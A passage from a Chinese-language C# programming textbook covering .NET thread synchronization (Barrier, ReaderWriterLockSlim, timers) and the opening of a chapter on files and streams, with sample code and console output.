者数就会递减。当剩下的参与者数量达到0时,所有参与者的等待就结束,开始下一个阶 段: Task : initial participants in barrier. 1 current and 1 remaining participant s, phase 0. Main - starting task job 0 Main - starting task job 1 Task : main task, starting signaling and wait. 3 current and 3 remaining participants, phase 0. Task 4: CalculationInTask started. 3 current and 2 remaining participants, ph ase 0. Task 5: CalculationInTask started. 3 current and 2 remaining participants, ph ase 0. Task 4 in loop 0: partition from 0 to 1000000 Task 5 in loop 0: partition from 1000000 to 2000000 Calculation completed from task 4 in loop 0. 38272 times a, 38637 times z Task 4: sending signal and wait for all. 3 current and 2 remaining participants, phase 0. Calculation completed from task 5 in loop 0. 38486 times a, 38781 times z Task 5: sending signal and wait for all. 3 current and 1 remaining participants, phase 0. Task 5: waiting completed. 3 current and 3 remaining participants, phase 1 Task 4: waiting completed. 3 current and 3 remaining participants, phase 1 Task : main waiting completed. 3 current and 3 remaining participants, phase 1 ... 22.12 ReaderWriterLockSlim类 为了使锁定机制允许锁定多个读取器(而不是一个写入器)访问某个资源,可以使用 ReaderWriterLockSlim类。这个类提供了一个锁定功能,如果没有写入器锁定资源,就允 许多个读取器访问资源,但只能有一个写入器锁定该资源。 ReaderWriterLockSlim类有阻塞或不阻塞的方法来获取读取锁,如阻塞的 EnterReadLock()和不阻塞的TryEnterReadLock()方法,还可以使用阻塞的 EnterWriteLock()和不阻塞的TryEnterWriteLock()方法获得写入锁定。如果任务先读 取资源,之后写入资源,它就可以使用EnterUpgradableReadLock()或 TryEnterUpgradableReadLock()方法获得可升级的读取锁定。有了这个锁定,就可以获 得写入锁定,而无须释放读取锁定。 这个类的几个属性提供了当前锁定的相关信息,如CurrentReadCount、 WaitingReadCount、WaitingUpgradableReadCount和WaitingWriteCount。 下面的示例程序创建了一个包含6项的集合和一个ReaderWriterLockSlim对象。 ReaderMethod方法获得一个读取锁定,读取列表中的所有项,并把它们写到控制台中。 WriterMethod()方法试图获得一个写入锁定,以改变集合的所有值。在Main()方法 中,启动6个任务,以调用ReaderMethod()或WriterMethod()方法(代码文件 ReaderWriterSample/Program.cs)。 using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; using static System.Console; namespace ReaderWriterLockSample { class Program { private static List<int> _items = new List<int>() { 0, 1, 2, 3, 4, 5}; private static ReaderWriterLockSlim _rwl = new ReaderWriterLockSlim(LockRecursionPolicy.SupportsRecursion); public static void ReaderMethod(object reader) { try { _rwl.EnterReadLock(); for (int i = 0; i < _items.Count; i++) { WriteLine($"reader {reader}, loop: {i}, item: {_items[i]}"); Task.Delay(40).Wait(); } } finally { _rwl.ExitReadLock(); } } public static void WriterMethod(object writer) { try { while (! _rwl.TryEnterWriteLock(50)) { WriteLine($"Writer {writer} waiting for the write lock"); WriteLine($"current reader count: {_rwl.CurrentReadCount}"); } WriteLine($"Writer {writer} acquired the lock"); for (int i = 0; i < _items.Count; i++) { _items[i]++; Task.Delay(50).Wait(); } WriteLine($"Writer {writer} finished"); } finally { _rwl.ExitWriteLock(); } } static void Main() { var taskFactory = new TaskFactory(TaskCreationOptions.LongRunning, TaskContinuationOptions.None); var tasks = new Task[6]; tasks[0] = taskFactory.StartNew(WriterMethod, 1); tasks[1] = taskFactory.StartNew(ReaderMethod, 1); tasks[2] = taskFactory.StartNew(ReaderMethod, 2); tasks[3] = taskFactory.StartNew(WriterMethod, 2); tasks[4] = taskFactory.StartNew(ReaderMethod, 3); tasks[5] = taskFactory.StartNew(ReaderMethod, 4); Task.WaitAll(tasks); } } } 运行这个应用程序,可以看到第一个写入器先获得锁定。第二个写入器和所有的读取 器需要等待。接着,读取器可以同时工作,而第二个写入器仍在等待资源。 Writer 1 acquired the lock Writer 2 waiting for the write lock current reader count: 0 Writer 2 waiting for the write lock current reader count: 0 Writer 2 waiting for the write lock current reader count: 0 Writer 2 waiting for the write lock current reader count: 0 Writer 1 finished reader 4, loop: 0, item: 1 reader 1, loop: 0, item: 1 Writer 2 waiting for the write lock current reader count: 4 reader 2, loop: 0, item: 1 reader 3, loop: 0, item: 1 reader 4, loop: 1, item: 2 reader 1, loop: 1, item: 2 reader 3, loop: 1, item: 2 reader 2, loop: 1, item: 2 Writer 2 waiting for the write lock current reader count: 4 reader 4, loop: 2, item: 3 reader 1, loop: 2, item: 3 reader 2, loop: 2, item: 3 reader 3, loop: 2, item: 3 Writer 2 waiting for the write lock current reader count: 4 reader 4, loop: 3, item: 4 reader 1, loop: 3, item: 4 reader 2, loop: 3, item: 4 reader 3, loop: 3, item: 4 reader 4, loop: 4, item: 5 reader 1, loop: 4, item: 5 Writer 2 waiting for the write lock current reader count: 4 reader 2, loop: 4, item: 5 reader 3, loop: 4, item: 5 reader 4, loop: 5, item: 6 reader 1, loop: 5, item: 6 reader 2, loop: 5, item: 6 reader 3, loop: 5, item: 6 Writer 2 waiting for the write lock current reader count: 4 Writer 2 acquired the lock Writer 2 finished 22.13 Timer类 使用计时器,可以重复调用方法。本节介绍两个计时器:System.Threading名称空间 中的Timer类和用于基于XAML应用程序的DispatcherTimer。 使用System.Threading.Timer类,可以把要调用的方法作为构造函数的第一个参数传 递。这个方法必须满足TimeCallback委托的要求,该委托定义一个void返回类型和一个 object参数。通过第二个参数,可以传递任意对象,用回调方法中的object参数接收对应的 对象。例如,可以传递Event对象,向调用者发送信号。第3个参数指定第一次调用回调方 法时的时间段。最后一个参数指定回调的重复时间间隔。如果计时器应只触发一次,就把 第4个参数设置为值-1。 如果创建Timer对象后应改变时间间隔,就可以用Change()方法传递新值(代码文 件TimerSample/Program.cs): private static void ThreadingTimer() { using (var t1 = new Timer(TimeAction, null, TimeSpan.FromSeconds(2), TimeSpan.FromSeconds(3))) { Task.Delay(15000).Wait(); } } private static void TimeAction(object o) { WriteLine($"System.Threading.Timer {DateTime.Now:T}"); } System.Windows.Threading名称空间(用于带有WPF的Windows桌面应用程序)和 Windows.UI.Xaml (用于Windows应用程序)中的DispatcherTimer是一个基于XAML的应 用程序的计时器,其中的事件处理程序在UI线程中调用,因此可以直接访问用户界面元 素。 演示DispatcherTimer的示例应用程序是一个Windows应用程序,显示了切换每一秒的 时钟指针。下面的XAML代码定义的命令允许开始和停止时钟(代码文件WinAppTimer / MainPage. xaml): <Page.TopAppBar> <CommandBar IsOpen="True"> <AppBarButton Icon="Play" Click="{x:Bind OnTimer}" /> <AppBarButton Icon="Stop" Click="{x:Bind OnStopTimer}" /> </CommandBar> </Page.TopAppBar> 时钟的指针使用形状Line定义。要旋转该指针,请使用RotateTransform元素: <Canvas Width="300" Height="300"> <Ellipse Width="10" Height="10" Fill="Red" Canvas.Left="145" Canvas.Top="145" /> <Line Canvas.Left="150" Canvas.Top="150" Fill="Green" StrokeThickness="3" Stroke="Blue" X1="0" Y1="0" X2="120" Y2="0" > <Line.RenderTransform> <RotateTransform CenterX="0" CenterY="0" Angle="270" x:Name="rotate" /> </Line.RenderTransform> </Line> </Canvas>  注意: XAML形状参见第30章。 DispatcherTimer对象在MainPage类中创建。在构造函数中,处理程序方法分配给Tick 事件,Interval指定为1秒。在OnTimer方法中启动计时器,该方法在用户单击CommandBar 中的Play按钮时调用(代码文件WinAppTimer / MainPage.xaml.cs): private DispatcherTimer _timer = new DispatcherTimer(); public MainPage() { this.InitializeComponent(); _timer.Tick += OnTick; _timer.Interval = TimeSpan.FromSeconds(1); } private void OnTimer() { _timer.Start(); } private void OnTick(object sender, object e) { double newAngle = rotate.Angle + 6; if (newAngle >= 360) newAngle = 0; rotate.Angle = newAngle; } private void OnStopTimer() { _timer.Stop(); } 运行应用程序,就会显示时钟,如图22-2所示。 图22-2 22.14 小结 第21章描述了如何使用任务并行化应用程序。本章涉及使用多个任务的问题,如争用 条件和死锁。 本章讨论了几个可用于.NET的同步对象,以及适合使用同步对象的场合。简单的同 步可以通过lock关键字来完成。在后台,Monitor类型允许设置超时,而lock关键字不允 许。为了在进程之间进行同步,Mutex对象提供了类似的功能。Semaphore对象表示带有 计数的同步对象,该计数是允许并发运行的任务数量。为了通知其他任务已准备好,讨论 了不同类型的事件对象,比如AutoResetEvent、ManualResetEvent和CountdownEvent。拥 有多个读取器和写入器的简单方法由ReaderWriterLock提供。Barrier类型提供了一个更复 杂的场景,其中可以同时运行多个任务,直到达到一个同步点为止。一旦所有任务达到这 一点,它们就可以继续同时满足于下一个同步点。 下面是有关线程的几条规则: ● 尽力使同步要求最低。同步很复杂,且会阻塞线程。如果尝试避免共享状态,就可 以避免同步。当然,这不总是可行。 ● 类的静态成员应是线程安全的。通常,.NET Framework中的类满足这个要求。 ● 实例状态不需要是线程安全的。为了得到最佳性能,最好在类的外部使用同步功 能,且不对类的每个成员使用同步功能。.NET Framework类的实例成员一般不是 线程安全的。在MSDN库中,对于.NET Framework的每个类在“线程安全性”部分 中可以找到相应的归档信息。 第23章介绍另一个.NET核心主题:文件和流。 第23章 文件和流 本章要点 ● 介绍目录结构 ● 移动、复制、删除文件和文件夹 ● 读写文本文件 ● 使用流读写文件 ● 使用阅读器和写入器读写文件 ● 压缩文件 ● 监控文件的变化 ● 使用管道进行通信 ● 使用Windows Runtime流 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● DriveInformation ● WorkingWithFilesAndFolders ● WPFEditor ● StreamSamples ● ReaderWriterSamples ● CompressFileSample ● FileMonitor ● MemoryMappedFiles ● NamedPipes ● AnonymousPipes ● WindowsAppEditor 23.1 概述 当读写文件和目录时,可以使用简单的API,也可以使用先进的API来提供更多的功 能。还必须区分Windows Runtime提供的.NET类和功能。在通用Windows平台(Universal Windows Platform, UWP)Windows应用程序中,不能在任何目录中访问文件系统,只能 访问特定的目录。或者,可以让用户选择文件。本章涵盖了所有这些选项,包括使用简单 的API读写文件并使用流得到更多的功能;利用.NET类型和Windows Runtime提供的类 型,混合这两种技术以利用.NET功能和Windows运行库。 使用流,也可以压缩数据并且利用内存映射的文件和管道在不同的任务间共享数据。 23.2 管理文件系统 图23-1中的类可以用于浏览文件系统和执行操作,如移动、复制和删除文件。 图23-1 这些类的作用是: ● FileSystemInfo——这是表示任何文件系统对象的基类。 ● FileInfo和File——这些类表示文件系统上的文件。 ● DirectoryInfo和Directory——这些类表示文件系统上的文件夹。 ● Path——这个类包含的静态成员可以用于处理路径名。 ● DriveInfo——它的属性和方法提供了指定驱动器的信息。  注意: 在Windows上,包含文件并用于组织文件系统的对象称为文件夹。例 如,在路径C:\My Documents\ReadMe.txt中,ReadMe.txt是一个文件,My Documents是 一个文件夹。文件夹是一个Windows专用的术语:在其他操作系统上,用术语“目录”代 替文件夹,Microsoft为了使.NET具有平台无关性,对应的.NET基类都称为Directory和 DirectoryInfo。因为它有可能与LDAP目录混淆,而且本书与Windows有关,所以本章 仍使用文件夹。 注意,上面的列表有两个用于表示文件夹的类,和两个用于表示文件的类。使用哪个 类主要依赖于访问该文件夹或文件的次数: ● Directory类和File类只包含静态方法,不能被实例化。只要调用一个成员方法,提 供合适文件系统对象的路径,就可以使用这些类。如果只对文件夹或文件执行一 个操作,使用这些类就很有效,因为这样可以省去创建.NET对象的系统开销。 ● DirectoryInfo类和FileInfo类实现与Directory类和File类大致相同的公共方法,并拥有 一些公共属性和构造函数,但它们都是有状态的,并且这些类的成员都不是静态 的。需要实例化这些类,之后把每个实例与特定的文件夹或文件关联起来。如果 使用同一个对象执行多个操作,使用这些类就比较有效。这是因为在构造时它们 将读取合适文件系统对象的身份验证和其他信息,无论对每个对象(类实例)调 用了多少方法,都不需要再次读取这些信息。 比较而言,在调用每个方法时,相应的无状态类需要再次检查文件或文件夹的详细内 容。 23.2.1 检查驱动器信息 在处理文件和目录之前,先检查驱动器信息。这使用DriveInfo类实现。DriveInfo类可 以扫描系统,提供可用驱动器的列表,还可以进一步提供任何驱动器的大量细节。 为了举例说明DriveInfo类的用法,创建一个简单的Console应用程序,列出计算机上 的所有可用的驱动器。 DriveInformation的示例代码使用了以下依赖项和名称空间: 依赖项 NETStandard.Library System.IO.FileSystem.DriveInfo 名称空间 System.IO static System.Console 下面的代码片段调用静态方法DriveInfo.GetDrives。这个方法返回一个DriveInfo对象 的数组。通过这个数组,访问每个驱动器,准备写入驱动器的名称、类型和格式信息,它 还显示大小信息(代码文件DriveInformation / Program.cs): DriveInfo[] drives = DriveInfo.GetDrives(); foreach (DriveInfo drive in drives ) { if (drive.IsReady ) { WriteLine($"Drive name: {drive.Name }"); WriteLine($"Format: {drive.DriveFormat }"); WriteLine($"Type: {drive.DriveType }"); WriteLine($"Root directory: {drive.RootDirectory }"); WriteLine($"Volume label: {drive.VolumeLabel }"); WriteLine($"Free space: {drive.TotalFreeSpace }"); WriteLine($"Available space: {drive.AvailableFreeSpace }"); WriteLine($"Total size: {drive.TotalSize }"); WriteLine(); } } 在没有DVD光驱、但有固态硬盘(solid-state disk, SSD)和内存卡的系统上,运行这 个程序,得到如下信息: Drive name: C:\ Format: NTFS Type: Fixed Root directory: C:\ Volume label: Windows Free space: 225183154176 Available space: 225183154176 Total size: 505462910976 Drive name: D:\ Format: exFAT Type: Removable Root directory: D:\ Volume label: Free space: 19628294144 Available space: 19628294144 Total size: 127831375872 23.2.2 使用Path类 为了访问文件和目录,需要定义文件和目录的名称,包括父文件夹。使用字符串连接 操作符合并多个文件夹和文件时,很容易遗漏单个分隔符或使用太多的字符。为此,Path 类可以提供帮助,因为这个类会添加缺少的分隔符,它还在基于Windows和Unix的系统 上,处理不同的平台需求。 Path类提供了一些静态方法,可以更容易地对路径名执行操作。例如,假定要显示文 件夹D:\Projects中ReadMe.txt文件的完整路径名,可以用下述代码查找文件的路径: WriteLine(Path.Combine(@"D:\Projects", "ReadMe.txt")); Path.Combine()是这个类常使用的一个方法,Path类还实现了其他方法,这些方法 提供路径的信息,或者以要求的格式显示信息。 使用公共字段VolumeSeparatorChar、DirectorySeparatorChar、 AltDirectorySeparatorChar和PathSeparator,可以得到特定于平台的字符,用于分隔开硬 盘、文件夹和文件,以及分隔开多个路径。在Windows中,这些字符是:、\、/和;。 Path类也帮助访问特定于用户的临时文件夹(GetTempPath),创建临时 (GetTempFileName)和随机文件名(GetRandomFileName)。注意,方法 GetTempFileName()包括文件夹,而GetRandomFileName()只返回文件名,不包括任 何文件夹。 WorkingWithFilesAndFolders的示例代码使用了下面的依赖项和名称空间: 依赖项 NETStandard.Library System.IO.FileSystem 名称空间 System System.Collections.Generic System.IO static System.Console 这个示例应用程序提供了几个命令行参数,来启动程序的不同功能。只是启动程序, 没有命令行参数,或检查源代码,查看所有不同的选项。 Environment类定义了一组特殊的文件夹,来访问.NET 4.6的特殊文件夹。下面的代码 片段通过把枚举值SpecialFolder. MyDocuments传递给GetFolderPath方法,返回documents 文件夹。Environment类的这个特性不可用于.NET Core;因此在以下代码中,使用环境变 量HOMEDRIVE和HOMEPATH的值(代码文件WorkingWithFilesAndFolders / Program. cs): private static string GetDocumentsFolder() { #if NET46 return Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); #else string drive = Environment.GetEnvironmentVariable("HOMEDRIVE"); string path = Environment.GetEnvironmentVariable("HOMEPATH"); return Path.Combine(drive, path, "documents"); #endif } Environment.SpecialFolder是一个巨大的枚举,提供了音乐、图片、程序文件、应用 程序数据,以及许多其他文件夹的值。 23.2.3 创建文件和文件夹 下面开始使用File、FileInfo、Directory和DirectoryInfo类。首先,方法CreateAFile创建 文件Sample1.txt,给文件添加字符串Hello, World!。创建文本文件的简单方式是调用File类 的WriteAllText方法。这个方法的参数是文件名和应该写入文件的字符串。一切都在一个 调用中完成(代码文件WorkingWithFilesAnd Folders / Program. cs): const string Sample1FileName = "Sample1.txt"; // etc. public static void CreateAFile() { string fileName = Path.Combine(GetDocumentsFolder(), Sample1FileName); File.WriteAllText(fileName, "Hello, World! "); } 要复制文件,可以使用File类的Copy方法或FileInfo类的CopyTo方法: var file = new FileInfo(@".\ReadMe.txt"); file.CopyTo(@"C:\Copies\ReadMe.txt"); File.Copy(@".\ReadMe.txt", @"C:\Copies\ReadMe.txt"); 第一个代码片段使用FileInfo,执行的时间略长,因为需要实例化file对象,但是file已 经准备好,可以在同一文件上执行进一步的操作。使用第二个例子时,不需要实例化对象 来复制文件。 给构造函数传递包含对应文件系统对象的路径的字符串,就可以实例化FileInfo或 DirectoryInfo类。刚才是处理文件的过程。处理文件夹的代码如下: var myFolder = new DirectoryInfo(@"C:\Program Files"); 如果路径代表的对象不存在,构建时不抛出一个异常;而是在第一次调用某个方法, 实际需要相应的文件系统对象时抛出该异常。检查Exists属性,可以确定对象是否存在, 是否具有适当的类型,这个功能由两个类实现: var test = new FileInfo(@"C:\Windows"); WriteLine(test.Exists); 请注意,这个属性要返回true,相应的文件系统对象必须具备适当的类型。换句话 说,如果实例化FileInfo对象时提供了文件夹的路径,或者实例化DirectoryInfo对象时提供 了文件的路径,Exists的值就是false。如果有可能,这些对象的大部分属性和方法都返回 一个值——它们不一定会抛出异常,仅因为调用了类型错误的对象,除非它们要求执行不 可能的操作。例如,前面的代码片段可能会首先显示false(因为C:\Windows是一个文件 夹),但它还显示创建文件夹的时间,因为文件夹带有该信息。然而,如果想使用 FileInfo.Open()方法打开文件夹,就好像它是一个文件那样,就会得到一个异常。 使用FileInfo和DirectoryInfo类的MoveTo()和Delete()方法,可以移动、删除文件 或文件夹。File和Directory类上的等效方法是Move()和Delete()。FileInfo和File类也 分别实现了方法CopyTo()和Copy()。但是,没有复制完整文件夹的方法——必须复 制文件夹中的每个文件。 所有这些方法的用法都非常直观。MSDN文档带有详细的描述。 23.2.4 访问和修改文件的属性 下面获取有关文件的一些信息。可以使用File和FileInfo类来访问文件信息。File类定 义了静态方法,而FileInfo类提供了实例方法。以下代码片段展示了如何使用FileInfo检索 多个信息。如果使用File类,访问速度将变慢,因为每个访问都意味着进行检查,以确定 用户是否允许得到这个信息。而使用FileInfo类,则只有调用构造函数时才进行检查。 示例代码创建了一个新的FileInfo对象,并在控制台上写入属性Name、 DirectoryName、IsReadOnly、Extension、Length、CreationTime、LastAccessTime和 Attributes的结果(代码文件WorkingWith FilesAndFolders / Program. cs): private static void FileInformation(string fileName) { var file = new FileInfo(fileName); WriteLine($"Name: {file.Name }"); WriteLine($"Directory: {file.DirectoryName }"); WriteLine($"Read only: {file.IsReadOnly }"); WriteLine($"Extension: {file.Extension }"); WriteLine($"Length: {file.Length }"); WriteLine($"Creation time: {file.CreationTime:F }"); WriteLine($"Access time: {file.LastAccessTime:F }"); WriteLine($"File attributes: {file.Attributes }"); } 把当前目录中的Program.cs文件名传入这个方法: FileInformation("./Program.cs"); 在某台机器上,输出如下: Name: Program.cs Directory: C:\Users\Christian\Source\Repos\ProfessionalCSharp6\FilesAndStream s\F ilesAndStreamsSamples\WorkingWithFilesAndFolders Read only: False Extension: .cs Length: 7888 Creation time: Friday, September 25, 2015 5:22:11 PM Access time: Sunday, December 20, 2015 8:59:23 AM File attributes: Archive 不能设置FileInfo类的几个属性;它们只定义了get访问器。不能检索文件名、文件扩 展名和文件的长度。可以设置创建时间和最后一次访问的时间。方法 ChangeFileProperties()向控制台写入文件的创建时间,以后把创建时间改为2023年的一 个日期。 private static void ChangeFileProperties() { string fileName = Path.Combine(GetDocumentsFolder(), Sample1FileName); var file = new FileInfo(fileName); if (! file.Exists) { WriteLine($"Create the file {Sample1FileName} before calling this method" ); WriteLine("You can do this by invoking this program with the -c argument" ); return; } WriteLine($"creation time: {file.CreationTime:F}"); file.CreationTime = new DateTime(2023, 12, 24, 15, 0, 0); WriteLine($"creation time: {file.CreationTime:F}"); } } 运行程序,显示文件的初始创建时间以及修改后的创建时间。将来可以用这项技术创 建文件(至少可以指定创建时间)。 creation time: Sunday, December 20, 2015 9:41:49 AM creation time: Sunday, December 24, 2023 3:00:00 PM  注意: 初看起来,能够手动修改这些属性可能很奇怪,但是它非常有用。例 如,如果程序只需要读取文件、删除它,再用新内容创建一个新文件,就可以有效地 修改文件,就可以通过修改创建日期来匹配旧文件的原始创建日期。 23.2.5 创建简单的编辑器 为了说明读写文件有多简单,可以使用WPF创建一个简单的Windows桌面应用程序。 该应用程序名为WPFEditor,允许打开文件,并再次保存它。  注意: 本章后面将使用通用Windows平台创建一个类似的编辑器。 用户界面用XAML定义,给Open和Save命令使用MenuItem控件,再使用一个文本 框,通过设置AcceptsReturn属性允许输入多行文本(代码文件WPFEditor / MainWindow.xaml): <Window.CommandBindings> <CommandBinding Command="Open" Executed="OnOpen" /> <CommandBinding Command="Save" Executed="OnSave" /> </Window.CommandBindings> <DockPanel> <Menu DockPanel.Dock="Top"> <MenuItem Header="File"> <MenuItem Header="Open" Command="Open" /> <MenuItem Header="Save As" Command="Save" /> </MenuItem> </Menu> <TextBox x:Name="text1" AcceptsReturn="True" AcceptsTab="True" /> </DockPanel> OnOpen()方法打开一个对话框,在其中用户可以选择要打开的文件。设置 OpenFileDialog的属性,可以配置对话框,如下所示: ● 应该检查路径和文件是否存在? ● 哪个过滤器定义要打开什么类型的文件? ● 最初的目录是什么? 如果用户打开一个文件(且不取消对话框), ShowDialog()方法就返回true。然后 在文本框控件的Text属性中填充File.ReadAllText()方法的结果。这个方法在一个字符串 内返回文本文件的完整内容(代码文件WPFEditor / MainWindow.xaml.cs): private void OnOpen(object sender, ExecutedRoutedEventArgs e) { var dlg = new OpenFileDialog() { Title = "Simple Editor - Open File", CheckPathExists = true, CheckFileExists = true, Filter = "Text files (*.txt)|*.txt|All files|*.*", InitialDirectory = Environment.GetFolderPath( Environment.SpecialFolder.MyDocuments) }; if (dlg.ShowDialog() == true) { text1.Text = File.ReadAllText(dlg.FileName); } } 运行应用程序的对话框如图23-2所示。如配置所示,打开了documents文件夹,Filter 属性的值显示在右下角的组合框中。 图23-2 为了保存文件,显示SaveFileDialog。可以使用File.WriteAllText从字符串中写入一个 文本文件,如下所示: private void OnSave(object sender, ExecutedRoutedEventArgs e) { var dlg = new SaveFileDialog() { Title = "Simple Editor - Save As", DefaultExt = "txt", Filter = "Text files (*.txt)|*.txt|All files|*.*", }; if (dlg.ShowDialog() == true) { File.WriteAllText(dlg.FileName, text1.Text); } } 在字符串中读写文件适用于小型文本文件。然而,以这种方式读取、保存完整的文件 是有限制的。.NET字符串的限制是2 GB,对于许多文本文件而言,这已经足够了,但最 好不要让用户等待将1 GB的文件加载到字符串中。还有其他的选择,参见“处理流”一 节。 23.2.6 使用File执行读写操作 通过File.ReadAllText和File.WriteAllText,引入了一种使用字符串读写文件的方法。 除了使用一个字符串之外,还可以给文件的每一行使用一个字符串。 不是把所有行读入一个字符串,而是从方法File.ReadAllLines中返回一个字符串数 组。使用这个方法,可以对每一行执行不同的处理,但仍然需要将完整的文件读入内存 (代码文件WorkingWithFilesAndFolders / Program.cs): public static void ReadingAFileLineByLine(string fileName) { string[] lines = File.ReadAllLines(fileName); int i = 1; foreach (var line in lines) { WriteLine($"{i++}. {line}"); } // etc. } 要逐行读取,无须等待所有行都读取完,可以使用方法File.ReadLines。该方法返回 IEnumerable<string>,在读取完整个文件之前,就可以遍历它: public static void ReadingAFileLineByLine(string fileName) { // etc. IEnumerable<string> lines = File.ReadLines(fileName) ; i = 1; foreach (var line in lines) { WriteLine($"{i++}. {line}"); } } 要写入字符串集合,可以使用方法File.WriteAllLines。该方法接受一个文件名和 IEnumerable<string>类型作为参数: public static void WriteAFile() { string fileName = Path.Combine(GetDocumentsFolder(), "movies.txt"); string[] movies = { "Snow White And The Seven Dwarfs", "Gone With The Wind", "Casablanca", "The Bridge On The River Kwai", "Some Like It Hot" }; File.WriteAllLines(fileName, movies); } 为了把字符串追加到已有的文件中,应使用File.AppendAllLines: string[] moreMovies = { "Psycho", "Easy Rider", "Star Wars", "The Matrix" }; File.AppendAllLines(fileName, moreMovies); 23.3 枚举文件 处理多个文件时,可以使用Directory类。Directory定义了GetFiles()方法,它返回 一个包含目录中所有文件的字符串数组。GetDirectories()方法返回一个包含所有目录的 字符串数组。 所有这些方法都定义了重载方法,允许传送搜索模式和SearchOption枚举的一个值。 SearchOption通过使用AllDirectories或TopDirectoriesOnly值,可以遍历所有子目录,或留 在顶级目录中。搜索模式不允许传递正则表达式;它只传递简单的表达式,其中使用*表 示任意字符,使用?表示单个字符。 遍历很大的目录(或子目录)时,GetFiles()和GetDirectories()方法在返回结果 之前需要完整的结果。另一种方式是使用方法EnumerateDirectories()和 EnumerateFiles()。这些方法为搜索模式和选项提供相同的参数,但是它们使用 IEnumerable<string>立即开始返回结果。 下面是一个例子:在一个目录及其所有子目录中,删除所有以Copy结尾的文件,以 防存在另一个具有相同名称和大小的文件。为了模拟这个操作,可以在键盘上按Ctrl +A,选择文件夹中的所有文件,在键盘上按下Ctrl + C,进行复制,再在鼠标仍位于该文 件夹中时,在键盘上按下Ctrl + V,粘贴文件。新文件会使用Copy作为后缀。 DeleteDuplicateFiles()方法迭代作为第一个参数传递的目录中的所有文件,使用选 项SearchOption. AllDirectories遍历所有子目录。在foreach语句中,所迭代的当前文件与上 一次迭代的文件做比较。如果文件名相同,只有Copy后缀不同,文件的大小也一样,就 调用FileInfo.Delete删除复制的文件(代码文件WorkingWithFilesAndFolders / Program.cs): private void DeleteDuplicateFiles(string directory, bool checkOnly) { IEnumerable<string> fileNames = Directory.EnumerateFiles(directory, "*", SearchOption.AllDirectories); string previousFileName = string.Empty; foreach (string fileName in fileNames) { string previousName = Path.GetFileNameWithoutExtension (previousFileName); if (! string.IsNullOrEmpty(previousFileName) && previousName.EndsWith("Copy") && fileName.StartsWith(previousFileName.Substring( 0, previousFileName.LastIndexOf(" - Copy")))) { var copiedFile = new FileInfo(previousFileName); var originalFile = new FileInfo(fileName); if (copiedFile.Length == originalFile.Length) { WriteLine($"delete {copiedFile.FullName}"); if (! checkOnly) { copiedFile.Delete(); } } } previousFileName = fileName; } } 23.4 使用流处理文件 现在,处理文件有更强大的选项:流。流的概念已经存在很长时间了。流是一个用于 传输数据的对象,数据可以向两个方向传输: ● 如果数据从外部源传输到程序中,这就是读取流。 ● 如果数据从程序传输到外部源中,这就是写入流。 外部源常常是一个文件,但也不完全都是文件。它还可能是: ● 使用一些网络协议读写网络上的数据,其目的是选择数据,或从另一个计算机上发 送数据。 ● 读写到命名管道上。 ● 把数据读写到一个内存区域上。 一些流只允许写入,一些流只允许读取,一些流允许随机存取。随机存取允许在流中 随机定位游标,例如,从流的开头开始读取,以后移动到流的末尾,再从流的一个中间位 置继续读取。 在这些示例中,微软公司提供了一个.NET类System.IO.MemoryStream对象来读写内 存,而System.Net.Sockets.NetworkStream对象处理网络数据。Stream类对外部数据源不做 任何假定,外部数据源可以是文件流、内存流、网络流或任意数据源。 一些流也可以链接起来。例如,可以使用DeflateStream压缩数据。这个流可以写入 FileStream、MemoryStream或NetworkStream。CryptoStream可以加密数据。也可以链接 DeflateStream和CryptoStream,再写入FileStream。  注意: 第24章解释了如何使用CryptoStream。 使用流时,外部源甚至可以是代码中的一个变量。这听起来很荒谬,但使用流在变量 之间传输数据的技术是一个非常有用的技巧,可以在数据类型之间转换数据。C语言使用 类似的函数sprintf()在整型和字符串之间转换数据类型,或者格式化字符串。 使用一个独立的对象来传输数据,比使用FileInfo或DirectoryInfo类更好,因为把传输 数据的概念与特定数据源分离开来,可以更容易交换数据源。流对象本身包含许多通用代 码,可以在外部数据源和代码中的变量之间移动数据,把这些代码与特定数据源的概念分 离开来,就更容易实现不同环境下代码的重用。 虽然直接读写流不是那么容易,但可以使用阅读器和写入器。这是另一个关注点分 离。阅读器和写入器可以读写流。例如,StringReader和StringWriter类,与本章后面用于 读写文本文件的两个类StreamReader和StreamWriter一样,都是同一继承树的一部分,这 些类几乎一定在后台共享许多代码。在System.IO名称空间中,与流相关的类的层次结构 如图23-3所示。 图23-3 对于文件的读写,最常用的类如下: ● FileStream(文件流)——这个类主要用于在二进制文件中读写二进制数据。 ● StreamReader(流读取器)和StreamWriter(流写入器)——这两个类专门用于读写 文本格式的流产品API。 ● BinaryReader和BinaryWriter——这两个类专门用于读写二进制格式的流产品API。 使用这些类和直接使用底层的流对象之间的区别是,基本流是按照字节来工作的。例 如,在保存某个文档时,需要把类型为long的变量的内容写入一个二进制文件中,每个 long型变量都占用8个字节,如果使用一般的二进制流,就必须显式地写入内存的8个字节 中。 在C#代码中,必须执行一些按位操作,从long值中提取这8个字节。使用BinaryWriter 实例,可以把整个操作封装在BinaryWriter.Write()方法的一个重载方法中,该方法的参 数是long型,它把8个字节写入流中(如果流指向一个文件,就写入该文件)。对应的 BinaryReader.Read()方法则从流中提取8个字节,恢复long的值。 23.4.1 使用文件流 下面对流进行编程,以读写文件。FileStream实例用于读写文件中的数据。要构造 FileStream实例,需要以下4条信息: ● 要访问的文件。 ● 表示如何打开文件的模式。例如,新建一个文件或打开一个现有的文件。如果打开 一个现有的文件,写入操作是覆盖文件原来的内容,还是追加到文件的末尾? ● 表示访问文件的方式——是只读、只写还是读写? ● 共享访问——表示是否独占访问文件。如果允许其他流同时访问文件,则这些流是 只读、只写还是读写文件? 第一条信息通常用一个包含文件的完整路径名的字符串来表示,本章只考虑需要该字 符串的那些构造函数。除了这些构造函数外,一些其他的构造函数用本地Windows句柄来 处理文件。其余3条信息分别由3个.NET枚举FileMode、FileAccess和FileShare来表示,这 些枚举的值很容易理解,如表23-1所示。 表23-1 枚举 值 FileMode Append、Create、CreateNew、Open、OpenOrCreate或 Truncate FileAccess Read、ReadWrite或Write FileShare Delete、Inheritable、None、Read、ReadWrite或Write 注意,对于FileMode,如果要求的模式与文件的现有状态不一致,就会抛出一个异 常。如果文件不存在,Append、Open和Truncate就会抛出一个异常;如果文件存在, CreateNew就会抛出一个异常。Create和OpenOrCreate可以处理这两种情况,但Create会删 